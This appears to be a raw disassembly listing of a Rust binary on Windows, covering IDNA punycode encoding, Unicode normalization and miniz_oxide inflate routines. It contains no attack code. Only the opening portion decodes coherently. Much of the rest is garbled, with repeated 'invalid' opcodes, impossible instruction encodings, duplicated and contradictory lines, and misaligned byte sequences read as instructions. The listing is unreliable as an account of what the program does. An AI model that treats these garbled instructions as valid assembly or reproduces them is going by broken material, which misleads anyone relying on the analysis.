mov ebx, dword [rdx + rax*4]
inc rax
mov qword [rsp + 0x70], 1
mov qword [rsp + 0x78], rax
jmp 0x1a7f1b7a796
test r8w, r8w
je 0x1a7f1b7a786
and word [rsp + 0xd4], 0
mov dword [rsp + 0xf0], 0x110000
mov edi, 0x110000
mov eax, dword [rsp + 0x28]
cmp eax, 0x110000
je 0x1a7f1b7a7e0
cmp ebx, 0x110000
je 0x1a7f1b7a828
cmp ebx, eax
je 0x1a7f1b7a2d1
jmp 0x1a7f1b7a828
mov dword [rsp + 0xf0], ebx
mov byte [rsp + 0xf4], 0
mov qword [rsp + 0x70], 1
and qword [rsp + 0x78], 0
jmp 0x1a7f1b7a7da
mov dword [rsp + 0xf0], ebx
mov edi, ebx
mov ebx, ebp
jmp 0x1a7f1b7a796
lea rcx, [rsp + 0x80]
call fcn.1a7f1b775b1
lea rcx, [rsp + 0xd0]
call fcn.1a7f1b775d2
cmp ebx, 0x110000
jne 0x1a7f1b7a842
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x128]
mov r8, qword [rsp + 0x1e0]
lea r9, [rsp + 0x38]
call 0x1a7f1b787db
xor edi, edi
jmp 0x1a7f1b79243
lea rcx, [rsp + 0x80]
call fcn.1a7f1b775b1
lea rcx, [rsp + 0xd0]
call fcn.1a7f1b775d2
mov byte [rsp + 0x3d], 1
xor edi, edi
jmp 0x1a7f1b79243
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.22_srcdecompose.rs
jmp 0x1a7f1b7a861
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.22_srcdecompose.rs
mov rcx, r14
mov rdx, r10
call fcn.1a7f1c2fb60
ud2
mov rax, qword [rsp + 0x280]
mov rcx, qword [rax]
mov rdx, qword [rax + 0x10]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcuts46.rs
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x1f8]
call fcn.1a7f1b78693
mov r8, rdx
lea rdi, [rsp + 0x70]
mov rcx, rdi
mov rdx, rax
call fcn.1a7f1b78515
lea rbx, [rsp + 0x58]
lea r14, [rsp + 0x170]
mov ebp, 1
mov esi, 0x260fb
mov qword [rsp + 0x120], r13
mov rcx, rdi
call fcn.1a7f1b7854a
test rax, rax
je 0x1a7f1b7aa53
test r13b, 1
je 0x1a7f1b7a8c5
mov r12, rax
mov r15, rdx
add r15, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r15
mov rcx, rbx
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b7a8c5
mov ecx, eax
call fcn.1a7f1bd6881
test al, al
je 0x1a7f1b7a94f
movzx eax, al
cmp eax, 0x11
je 0x1a7f1b7a94f
cmp eax, 9
mov ebp, 0x62f8
jne 0x1a7f1b7aa4e
mov rcx, rbx
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b7aa0c
mov ecx, eax
call fcn.1a7f1bd6881
cmp al, 0xe
ja 0x1a7f1b7aa4e
movzx eax, al
bt rbp, rax
jb 0x1a7f1b7a91f
jmp 0x1a7f1b7aa4e
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rsp + 0x170], xmm0
xor ecx, ecx
xor edi, edi
mov r13d, ecx
mov rcx, r14
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b7a9a1
mov ecx, eax
call fcn.1a7f1bd6881
mov cl, 1
cmp al, 5
je 0x1a7f1b7a960
cmp al, 1
movzx edi, dil
cmove edi, ebp
cmp al, 0x11
ja 0x1a7f1b7aa4e
movzx eax, al
bt rsi, rax
mov ecx, r13d
jb 0x1a7f1b7a960
jmp 0x1a7f1b7aa4e
mov qword [rsp + 0x170], r12
mov qword [rsp + 0x178], r15
mov rcx, r14
call fcn.1a7f1b786dd
cmp eax, 0x110000
je 0x1a7f1b7aa4e
mov ebp, eax
mov ecx, eax
call fcn.1a7f1bd6881
cmp al, 0xd
je 0x1a7f1b7a9b1
mov ecx, ebp
call fcn.1a7f1bd6881
cmp al, 0x11
ja 0x1a7f1b7aa4e
movzx eax, al
mov ecx, 0x20023
bt rcx, rax
jae 0x1a7f1b7aa4e
test dil, 1
je 0x1a7f1b7a9f5
test r13b, r13b
jne 0x1a7f1b7aa4e
mov r13, qword [rsp + 0x120]
lea rdi, [rsp + 0x70]
mov ebp, 1
jmp 0x1a7f1b7a8c5
mov qword [rsp + 0x170], r12
mov qword [rsp + 0x178], r15
mov rcx, r14
call fcn.1a7f1b786dd
cmp eax, 0x110000
je 0x1a7f1b7aa02
mov ebp, eax
mov ecx, eax
call fcn.1a7f1bd6881
cmp al, 0xd
je 0x1a7f1b7aa1c
mov ecx, ebp
call fcn.1a7f1bd6881
cmp al, 9
je 0x1a7f1b7aa02
mov ecx, ebp
call fcn.1a7f1bd6881
cmp al, 5
je 0x1a7f1b7aa02
mov byte [rsp + 0x3a], 1
mov bl, byte [rsp + 0x38]
mov rax, qword [rsp + 0x39]
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x5f], eax
mov r8, qword [rsp + 0x138]
test r8, r8
je 0x1a7f1b7aa8c
shl r8, 4
mov rcx, qword [rsp + 0x130]
mov edx, 8
call fcn.1a7f1b446ce
mov rcx, qword [rsp + 0x28]
call fcn.1a7f1bf6754
mov r8, qword [rsp + 0x280]
movups xmm0, xmmword [r8]
lea r15, [rsp + 0x70]
mov rcx, qword [r8 + 0x10]
mov qword [r8], rax
mov qword [r8 + 8], rdx
and qword [r8 + 0x10], 0
movaps xmmword [r15], xmm0
mov qword [r15 + 0x10], rcx
mov rsi, qword [rsp + 0x158]
mov rcx, qword [rsi + 0x18]
mov rdx, qword [rsi + 0x20]
call fcn.1a7f1b8357b
mov rax, qword [r15 + 0x10]
mov qword [rsi + 0x28], rax
movaps xmm0, xmmword [r15]
movups xmmword [rsi + 0x18], xmm0
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x28]
mov rcx, r15
call fcn.1a7f1b78515
mov sil, 1
lea r14, [rsp + 0x170]
mov byte [rsp + 0x148], bl
mov rcx, r15
call fcn.1a7f1b7854a
test rax, rax
je 0x1a7f1b7ae2f
mov r13, rax
mov rdi, rdx
test sil, 1
jne 0x1a7f1b7ab35
mov rcx, qword [rsp + 0x280]
mov edx, 0x2e
call fcn.1a7f1bec501
mov rcx, r13
mov rdx, rdi
call fcn.1a7f1b783e8
mov rcx, qword [rsp + 0x280]
test al, al
je 0x1a7f1b7ab5b
mov rdx, r13
mov r8, rdi
call fcn.1a7f1bd69a6
xor esi, esi
jmp 0x1a7f1b7ab06
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x150], rax
mov r8d, 4
lea rdx, str.xn__
call fcn.1a7f1bd69a6
mov rax, r13
add rax, rdi
mov qword [rsp + 0x170], r13
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x178], rax
xor esi, esi
xor r12d, r12d
lea r15, [rsp + 0x130]
mov rcx, r14
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b7abcd
inc r12d
cmp eax, 0x80
jae 0x1a7f1b7aba1
mov rcx, qword [rsp + 0x280]
mov edx, eax
call fcn.1a7f1bec501
inc esi
jmp 0x1a7f1b7aba1
mov dword [rsp + 0x160], esi
test esi, esi
je 0x1a7f1b7abea
mov rcx, qword [rsp + 0x280]
mov edx, 0x2d
call fcn.1a7f1bec501
xor ebx, ebx
mov edi, 0x48
mov esi, 0x80
mov eax, dword [rsp + 0x160]
mov ebp, eax
mov qword [rsp + 0x128], r13
mov dword [rsp + 0x38], esi
cmp ebp, r12d
jae 0x1a7f1b7adcb
mov qword [rsp + 0x170], r13
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x178], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x180], rax
mov rcx, r14
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b7aef5
mov r13d, eax
cmp esi, eax
ja 0x1a7f1b7ac36
mov qword [rsp + 0x28], rbp
movups xmm0, xmmword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
movups xmmword [rsp + 0x130], xmm0
mov ebp, dword [rax]
mov rcx, r15
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b7ac8f
cmp r13d, eax
mov ecx, eax
cmovb ecx, r13d
cmp ebp, eax
cmovbe r13d, ecx
jmp 0x1a7f1b7ac6f
mov ebp, r13d
sub ebp, esi
mov rax, qword [rsp + 0x28]
lea ecx, [rax + 1]
mov eax, ebx
not eax
xor edx, edx
div ecx
cmp ebp, eax
ja 0x1a7f1b7add7
imul ebp, ecx
add ebp, ebx
mov dword [rsp + 0x38], r13d
mov r13, qword [rsp + 0x128]
mov qword [rsp + 0x170], r13
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x178], rax
mov esi, dword [rsp + 0x38]
mov rcx, r14
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b7adb7
cmp eax, esi
jae 0x1a7f1b7acf6
inc ebp
je 0x1a7f1b7add7
cmp eax, esi
jne 0x1a7f1b7acd7
lea esi, [rdi + 0x1a]
mov ebx, edi
neg ebx
mov r15d, 0x24
mov r13d, ebp
lea ecx, [rbx + r15]
cmp r15d, esi
mov eax, 0x1a
cmovae ecx, eax
cmp r15d, edi
mov eax, 1
cmovbe ecx, eax
mov eax, r13d
sub eax, ecx
jb 0x1a7f1b7ad61
cmp ecx, 0x24
je 0x1a7f1b7ae69
mov r8d, 0x24
sub r8d, ecx
xor edx, edx
div r8d
mov r13d, eax
add ecx, edx
call fcn.1a7f1b784dc
mov rcx, qword [rsp + 0x280]
mov edx, eax
call fcn.1a7f1bec501
add r15d, 0x24
jmp 0x1a7f1b7ad0a
mov ecx, r13d
call fcn.1a7f1b784dc
mov rcx, qword [rsp + 0x280]
mov edx, eax
call fcn.1a7f1bec501
mov rax, qword [rsp + 0x28]
lea r13d, [rax + 1]
cmp eax, dword [rsp + 0x160]
sete r8b
mov ecx, ebp
mov edx, r13d
call fcn.1a7f1b78455
mov edi, eax
xor ebp, ebp
mov eax, r13d
mov qword [rsp + 0x28], rax
lea r15, [rsp + 0x130]
mov r13, qword [rsp + 0x128]
jmp 0x1a7f1b7acd3
inc ebp
mov esi, dword [rsp + 0x38]
inc esi
mov ebx, ebp
mov rbp, qword [rsp + 0x28]
jmp 0x1a7f1b7ac07
xor esi, esi
lea r15, [rsp + 0x70]
jmp 0x1a7f1b7ab06
mov rax, qword [rsp + 0x280]
mov rax, qword [rax + 0x10]
mov bl, 1
xor esi, esi
mov rcx, qword [rsp + 0x150]
cmp rax, rcx
lea r15, [rsp + 0x70]
jb 0x1a7f1b7aaff
test rcx, rcx
je 0x1a7f1b7ae1c
cmp rax, rcx
jbe 0x1a7f1b7ae1c
mov rax, qword [rsp + 0x280]
mov rax, qword [rax]
cmp byte [rax + rcx], 0xbf
jle 0x1a7f1b7afad
mov rax, qword [rsp + 0x280]
mov qword [rax + 0x10], rcx
xor esi, esi
jmp 0x1a7f1b7aaff
mov al, byte [rsp + 0x148]
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x171], rax
mov eax, dword [rsp + 0x5f]
mov dword [rsp + 0x178], eax
jmp 0x1a7f1b790ba
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.22_srcdecompose.rs
mov rdx, rax
jmp 0x1a7f1b7a864
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zero
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcpunycode.rs
mov edx, 0x39
call fcn.1a7f1c2fc60
ud2
lea rcx, str.attempt_to_divide_by_zero
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcpunycode.rs
mov edx, 0x19
jmp 0x1a7f1b7ae7c
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcuts46.rs
mov ecx, 4
mov edx, 4
jmp 0x1a7f1b7a864
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slicemod.rs
mov rcx, r15
mov rdx, r15
jmp 0x1a7f1b7a864
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slicemod.rs
mov rcx, r14
jmp 0x1a7f1b7a864
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
mov rcx, r10
call fcn.1a7f1c2fbe0
ud2
lea rcx, str.attempt_to_divide_by_zero
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcpunycode.rs
jmp 0x1a7f1b7ae91
lea rcx, [0x1a7f1c8b482]
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcpunycode.rs
mov edx, 0x2b
jmp 0x1a7f1b7ae7c
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
jmp 0x1a7f1b7aede
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
or al, 0
mov edx, 4
mov rcx, rax
jmp 0x1a7f1b7aede
lea rax, str.Index_out_of_bounds
lea rcx, [rsp + 0x70]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
adc eax, 0xc9614
adc eax, 0xc9614
jmp 0x1a7f1b7af8e
lea rax, str.Index_out_of_bounds
lea rcx, [rsp + 0x70]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [rcx + 0x10], rax
adc byte [rdi], cl
push rdi
ror byte [rdi], 0x11
sbb byte [r8 - 0x73], cl
adc eax, 0xc9642
adc byte [rdi], cl
push rdi
ror byte [rdi], 0x11
sbb byte [r8 - 0x73], cl
adc eax, 0xc9642
call fcn.1a7f1c2faa0
ud2
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
mov edx, 0x2c
jmp 0x1a7f1b7ae7c
invalid
dec dword [rax - 0x73]
or eax, 0x10fcd4
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x1a7f1c8acb8]
mov edx, 0x30
jmp 0x1a7f1b7ae7c
lea rcx, [0x1a7f1c8b482]
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
jmp 0x1a7f1b7af03
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcpunycode.rs
mov qword [rsp + 0x20], rax
and byte [rax - 0x77], cl
stc
and byte [rax - 0x77], cl
stc
mov rdx, qword [rsp + 0x28]
xor r8d, r8d
mov r9, r14
jmp 0x1a7f1b7b026
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcuts46.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
mov r9, rbx
fldpi
invalid
fldpi
sbb byte [rax - 0x73], cl
add eax, 0xc97c3
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.3.0_srcpunycode.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
mov r8, r14
mov r9, rsi
call fcn.1a7f1c301d0
ud2
lea rcx, [0x1a7f1c8b482]
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
jmp 0x1a7f1b7af03
lea rcx, [0x1a7f1c8b482]
adc dword [rax], eax
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slice_sort.rs
jmp 0x1a7f1b7af03
test edx, edx
je 0x1a7f1b7b0ac
cmp qword [r9 + 8], 0
je 0x1a7f1b7b0b3
mov rdx, qword [r9 + 0x10]
test rdx, rdx
je 0x1a7f1b7b0bd
mov rcx, qword [r9]
mov r8d, 1
mov r9, rdi
call fcn.1a7f1b62d20
mov rdx, rdi
jmp 0x1a7f1b7b0cd
and qword [rsi + 8], 0
jmp 0x1a7f1b7b0e6
mov rcx, rdi
call fcn.1a7f1b7b12a
jmp 0x1a7f1b7b0cd
mov ecx, 1
mov rdx, rdi
cli
cli
xor r8d, r8d
call fcn.1a7f1b7b0f9
test rax, rax
je 0x1a7f1b7b0de
invalid
or al, 0x48
mov dword [rsi + 8], eax
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdx
xor eax, eax
jmp 0x1a7f1b7b0ef
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], rdi
mov eax, 1
mov qword [rsi], rax
add rsp, 0x28
pop rdi
pop rsi
ret
jmp 0x1a7f1b7b121
invalid
mov rdx, rsi
add rsp, 0x20
pop rsi
ret
call fcn.1a7f1b62df0
jmp 0x1a7f1b7b163
call fcn.1a7f1b7b12a
test rax, rax
je 0x1a7f1b7b178
mov rdx, rsi
add rsp, 0x20
pop rsi
ret
mov ecx, 1
mov rdx, rsi
call fcn.1a7f1c2f940
ud2
retf 0x1072
invalid
leave
shr eax, 0xa9
invalid
ret
movabs byte [0x82d60d8d4c001102], al
or eax, 0x448d4c00
and al, 0x37
invalid
mov edx, 0x2b
call fcn.1a7f1c2ff90
or eax, dword [rax]
or eax, dword [rax]
ud2
or eax, 0xd82cf
mov qword [rsp + 0x20], rcx
or eax, 0x4c894800
and al, 0x20
lea rdx, str.TryFromSliceError
adc eax, 0xde4eb
mov r8d, 0x11
mov rcx, rax
call fcn.1a7f1b6d420
nop
add rsp, 0x38
ret
mov rcx, rdx
mov rdx, r8
mov r8, rax
call fcn.1a7f1b7b187
nop
add rsp, 0x28
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x168
mov r12, rdx
mov r13, rcx
mov r11d, dword [rsp + 0x1e8]
and al, 0xe8
add dword [rax], eax
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0xe0
add dword [rax], eax
invalid
and al, 0xe8
add dword [rax], eax
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0xe0
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
mov word [rax + rbx*8], fs
mov rcx, qword [rsp + 0x1d8]
mov edx, r11d
add dword [rax], eax
add byte [rcx + rcx*4 - 0x26], al
and edx, 4
xor esi, esi
test byte [rax - 0x77], 0xc8
test byte [rax - 0x77], 0xc8
sub rax, 1
sub eax, 1
call 0x1a833c6fad3
invalid
cmovb rax, rsi
neg edx
sbb rsi, rsi
cmp r10, rcx
ja 0x1a7f1b7cdca
or rsi, rax
lea rdx, [rsi + 1]
mov rax, rdx
and rax, rsi
jne 0x1a7f1b7cdca
test esi, edx
sbb al, byte [rax]
invalid
test esi, edx
sbb al, byte [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x140], rdx
add byte [rax], al
mov qword [rsp + 0xa8], rsi
mov dword [rsp + 0xa8], esi
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xd0
add dword [rax], eax
add byte [rax], al
invalid
invalid
mov word [rax + rax], fs
add dword [rax], eax
mov rdx, qword [rsp + 0x1d0]
add byte [rax], al
mov qword [rsp + 0x100], r9
lea rax, [r8 + r9]
invalid
add byte [rbx - 0x73], cl
add al, 8
invalid
or byte [rcx + rcx*4 - 0x7c], cl
and al, 0x60
add dword [rax], eax
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x50
mov qword [rsp + 0x160], r8
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], rax
mov al, byte [r12 + 0x2ae9]
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rcx
and al, 0x70
and al, 0x70
mov qword [rsp + 0x78], r10
mov rcx, qword [r12 + 0x28e0]
mov word [rax + riz*8], fs
sub byte [rax], al
invalid
mov word [rax + riz*8], fs
sub byte [rax], al
add byte [rcx - 0x75], al
invalid
invalid
xchg esp, eax
mov edx, dword [r12 + 0x28e8]
mov edx, dword [rsp + 0x28e8]
and al, 0xe8
sub byte [rax], al
add byte [rbp - 0x75], al
test byte [rsp + rax], ah
sub dword [rax], eax
add byte [rbp - 0x75], al
mov r9d, dword [r12 + 0x2908]
mov r10d, dword [r12 + 0x290c]
mov qword [rsp + 0x30], rcx
mov r8d, dword [r12 + 0x2904]
mov r9d, dword [r12 + 0x2908]
mov ecx, dword [rsp + 0x2908]
mov r10d, dword [r12 + 0x290c]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x40], r9d
mov dword [rsp + 0x44], r10d
test r11b, 1
sete r8b
lea rcx, [r12 + 0xda0]
lea ecx, [rsp + 0xda0]
lea ecx, [rsp + 0xda0]
mov qword [rsp + 0xd8], rcx
lea rcx, [r12 + 0x2920]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x73], cl
mov word [rax + riz], fs
sub dword [rax], eax
add byte [rax], al
invalid
invalid
mov word [rax + rsi*8], fs
add byte [rax], al
mov qword [rsp + 0xf0], rcx
lea rcx, [r12 + 0xc80]
and al, 0xf0
add byte [rax], al
add byte [rcx - 0x73], cl
mov word [rax + rax*4], fs
or al, 0
add byte [rax - 0x77], cl
invalid
invalid
mov word [rax + rdi*8], fs
clc
mov qword [rsp + 0xf8], rcx
lea rcx, [r12 + 0x1a20]
mov qword [rsp + 0x130], rcx
test r11b, 2
mov ecx, 0xfc02
mov ebp, 0x102
add byte [rax], al
clc
add byte [rax], al
add byte [rcx - 0x73], cl
mov word [rax + riz], fs
sbb al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + rsi], fs
add dword [rax], eax
add byte [rcx - 0xa], al
ret
add byte [rax], al
cmove ebp, ecx
mov ecx, 0xfc
add byte [rax], al
jmp 0x1a7f1b8b097
cld
add byte [rax], al
add byte [rax], al
mov edx, 1
add byte [rax], al
mov edx, 1
cmove edx, ecx
mov dword [rsp + 0x64], edx
mov ecx, 0xfc00
ror dword [rcx - 0x469bdbac], 1
add ah, bh
add byte [rax], al
mov edx, 0x100
cmove edx, ecx
mov dword [rsp + 0x14c], edx
add qword [rax], r8
invalid
add dword [rax], eax
add byte [rdi], cl
ror dword [rcx + 0x14c2494], 1
add qword [rax], r8
invalid
add qword [rax], r8
add byte [rcx - 0x73], cl
mov word [rax + rax*2], fs
sbb eax, dword [rax]
lea rcx, [r12 + 0x1b40]
mov qword [rsp + 0xa0], rcx
add r8b, r8b
or r8b, 1
mov byte [rsp + 0x138], r8b
cmp byte [rcx], al
add byte [rax], al
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rbp], al
rol byte [rcx - 0x80], 0xc8
add dword [rax + rcx*4 - 0x7c], eax
and al, 0x38
cmp byte [rcx], al
add byte [rax], al
invalid
invalid
movsb byte [rdi], byte [rsi]
and al, 8
cmp byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x108], r12
add dword [rax], eax
add byte [rcx - 0x49], al
invalid
mov r15b, 0xff
cmp al, 0x18
ja case.default.0x1a7f1b7b442
movzx ecx, al
enter 0xffffffffffff8d48, 0x15
mov ecx, 0x4800122f
invalid
lea rdx, [0x1a7f1c9e3f4]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
pxor xmm0, xmm0
and qword [rsp + 0x40], 0
movdqa xmmword [rsp + 0x30], xmm0
and qword [r12 + 0x28ec], 0
add byte [rax + 1], bh
add byte [rax + 1], bh
mov dword [r12 + 0x28f4], eax
mov dword [r12 + 0x2900], eax
mov al, byte [rsp + 0x138]
jmp 0x1a7f1b7b426
mov rcx, qword [rsp + 0x50]
cmp rcx, qword [rsp + 0x58]
je 0x1a7f1b7cebd
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
movzx eax, byte [rcx]
mov dword [r12 + 0x28ec], eax
mov al, 2
jmp 0x1a7f1b7b426
mov eax, dword [rsp + 0x1e8]
test al, 4
sete al
add dword [rax], eax
add byte [rax - 0x3f6bf0fc], ch
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
pop rax
pop rax
mov ecx, dword [r12 + 0x28ec]
add byte [rax], al
mov r9d, ecx
shl r9d, 8
mov r10d, ecx
mov edx, ecx
and r10d, 0xf
shr ecx, 4
add ecx, 8
and ecx, 0x3f
invalid
mov r11, qword [rsp + 0x140]
shr r11, cl
test r11, r11
sete r11b
and r11b, al
mov rsi, rdx
invalid
mov rdi, r8
mov eax, ebp
cmp rsi, r8
je 0x1a7f1b7b54c
mov r14d, r10d
xor r14d, 8
movzx edi, byte [rsi]
mov eax, r9d
enter 0xfffffffffffff809, 0xffffffffffffffbb
invalid
add byte [rax], al
add byte [rcx], dh
sal bh, cl
mov eax, edi
enter 0xfffffffffffff809, 0xffffffffffffffbb
invalid
sal bh, cl
mov eax, edi
and eax, 0x20
or eax, edx
test r11b, r11b
mov edx, 0x1c01
add dword [rax + rax], ebx
add byte [rbx + 0x301], bh
add dword [rax + rax], ebx
add byte [rbx + 0x301], bh
cmovne ebx, edx
or eax, r14d
mov eax, 0x1c01
jne 0x1a7f1b7b535
mov eax, ebx
inc rsi
cmp ecx, 0x10
mov dword [r12 + 0x28f0], edi
cmovae eax, edx
mov rdx, rsi
mov rdi, rsi
mov rdi, rsi
mov rsi, rdi
test al, al
je 0x1a7f1b7b4f0
movzx ecx, al
mov dh, 0xc8
cmp ecx, 1
jne 0x1a7f1b7cded
mov qword [rsp + 0x50], rdx
jmp 0x1a7f1b7c506
mov rdi, qword [rsp + 0xf8]
mov ecx, dword [rsp + 0x38]
mov r10, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x30]
mov r9, r10
cmp ecx, 3
jae 0x1a7f1b7b5c4
cmp r9, r8
je 0x1a7f1b7b5b1
movzx eax, byte [r9]
shl rax, cl
inc r9
or rdx, rax
ret 0x8948
push rsp
and al, 0x30
add ecx, 8
mov dword [rsp + 0x38], ecx
cmp byte [rcx], dh
ror byte [rbp - 0x77], 0xca
mov edx, ecx
ret 0x8948
cmp byte [rcx], dh
ror byte [rbp - 0x77], 0xca
mov edx, ecx
mov edx, ecx
jmp 0x1a7f1b7b5b6
add eax, 0x89c1894d
call 0x1a7bf2bb862
invalid
je 0x1a7f1b7b587
mov r9, r8
mov eax, ebp
test al, 2
je 0x1a7f1b7b587
add dh, byte [rbp + rcx*8 + 0x4c]
mov dword [rsp + 0x50], edx
mov qword [rsp + 0x50], r10
jmp 0x1a7f1b7b72a
add dword [rax], eax
add byte [rcx + rcx*4 + 0x54], cl
and al, 0x50
mov qword [rsp + 0x50], r10
mov rax, rdx
shr rax, 3
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
add ecx, 0xfffffffd
mov dword [rsp + 0x38], ecx
mov eax, edx
rol byte [rbx - 0x76befe20], 1
test byte [rax + rdi*8], ah
sub byte [rax], al
add cl, dl
invalid
and edx, 3
rol byte [rbx - 0x76befe20], 1
test byte [rax + rdi*8], ah
sub byte [rax], al
add cl, dl
invalid
mov dword [r12 + 0x28fc], edx
mov cx, 1
lea rax, [0x1a7f1c9e458]
movsxd rdx, dword [rax + rdx*4]
add rdx, rax
jmp rdx
mov ax, 0x400
jmp 0x1a7f1b7b722
movabs rax, 0x2000000120
mov qword [r12 + 0x2910], rax
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
xor esi, esi
mov r8d, 0x90
mov rcx, rdi
xor edx, edx
call fcn.1a7f1b7b259
cmp rdx, rsi
je 0x1a7f1b7b663
mov byte [rax + rsi], 8
inc rsi
jmp 0x1a7f1b7b63e
and dword [rsp + 0x40], 0
mov ax, 0x800
jmp 0x1a7f1b7b722
mov ax, 0x1900
jmp 0x1a7f1b7b722
sbb ecx, ebp
mov edi, 0x4c000000
lea ecx, [0x1a7f1c53640]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 0x90
mov r8d, 0x100
mov rcx, rdi
call fcn.1a7f1b7b259
sti
invalid
push qword [rcx]
leave
sti
invalid
cmp rdx, rcx
je 0x1a7f1b7b68d
mov byte [rax + rcx], 9
inc rcx
jmp 0x1a7f1b7b67f
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 0x100
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov r8d, 0x118
mov rcx, rdi
call fcn.1a7f1b7b259
xor ecx, ecx
mov dl, 0xfb
invalid
cmp rdx, rcx
je 0x1a7f1b7b6b7
retf 0x974
mov byte [rax + rcx], 7
inc rcx
jmp 0x1a7f1b7b6a9
